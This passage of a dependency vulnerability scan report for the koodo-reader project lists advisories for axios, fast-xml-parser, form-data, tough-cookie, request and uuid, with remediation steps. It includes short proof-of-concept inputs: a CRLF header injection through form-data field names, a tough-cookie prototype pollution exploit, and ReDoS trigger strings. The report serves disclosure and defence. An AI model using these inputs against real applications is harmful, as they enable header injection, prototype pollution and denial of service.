- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: fast-xml-parser
- Introduced through: @aws-sdk/client-s3@3.564.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.894.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Buffer Overflow via the XMLBuilder when preserveOrder:true is set. An attacker can cause the application to crash by providing specially crafted input data.
Workaround
This vulnerability can be mitigated by using preserveOrder:false or by validating input data before passing it to the builder.
Remediation
Upgrade fast-xml-parser to version 4.5.4, 5.3.8 or higher.
References
medium severity
- Vulnerable module: fast-xml-parser
- Introduced through: @aws-sdk/client-s3@3.564.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.621.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.621.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.621.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › fast-xml-parser@4.2.5Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
Overview
fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in currency.js, which can be triggered by supplying excessively long strings such as '\t'.repeat(13337) + '.'
Note: The vulnerability is in the experimental "v5" functionality that is included in version 4.x during development, at the time of discovery.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade fast-xml-parser to version 4.4.1 or higher.
References
medium severity
new
- Vulnerable module: form-data
- Introduced through: form-data@4.0.4 and mhtml2html@3.0.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › form-data@4.0.4Remediation: Upgrade to form-data@4.0.6.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › request@2.88.2 › form-data@2.3.3
Overview
Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.
PoC
const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());
Remediation
Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: mhtml2html@3.0.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master branch but not yet published.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: mhtml2html@3.0.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › request-promise-native@1.0.9 › tough-cookie@2.5.0
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › tough-cookie@3.0.1
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie to version 4.1.3 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: axios@0.31.1
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › axios@0.31.1Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: @aws-sdk/client-s3@3.564.0 and mhtml2html@3.0.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.723.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.575.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.575.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.723.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.575.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.723.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.575.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.575.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-web-identity@3.556.0 › @aws-sdk/client-sts@3.556.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/client-sso@3.556.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.575.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › @aws-sdk/client-s3@3.564.0 › @aws-sdk/credential-provider-node@3.564.0 › @aws-sdk/credential-provider-ini@3.564.0 › @aws-sdk/credential-provider-sso@3.564.0 › @aws-sdk/token-providers@3.564.0 › @aws-sdk/client-sso-oidc@3.564.0 › @aws-sdk/core@3.556.0 › @smithy/core@1.4.2 › @smithy/middleware-retry@2.3.1 › uuid@9.0.1Remediation: Upgrade to @aws-sdk/client-s3@3.565.0.
-
Introduced through: koodo-reader@troyeguo/koodo-reader › mhtml2html@3.0.0 › jsdom@15.2.1 › request@2.88.2 › uuid@3.4.0
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: axios@0.31.1
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › axios@0.31.1Remediation: Upgrade to axios@0.32.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.
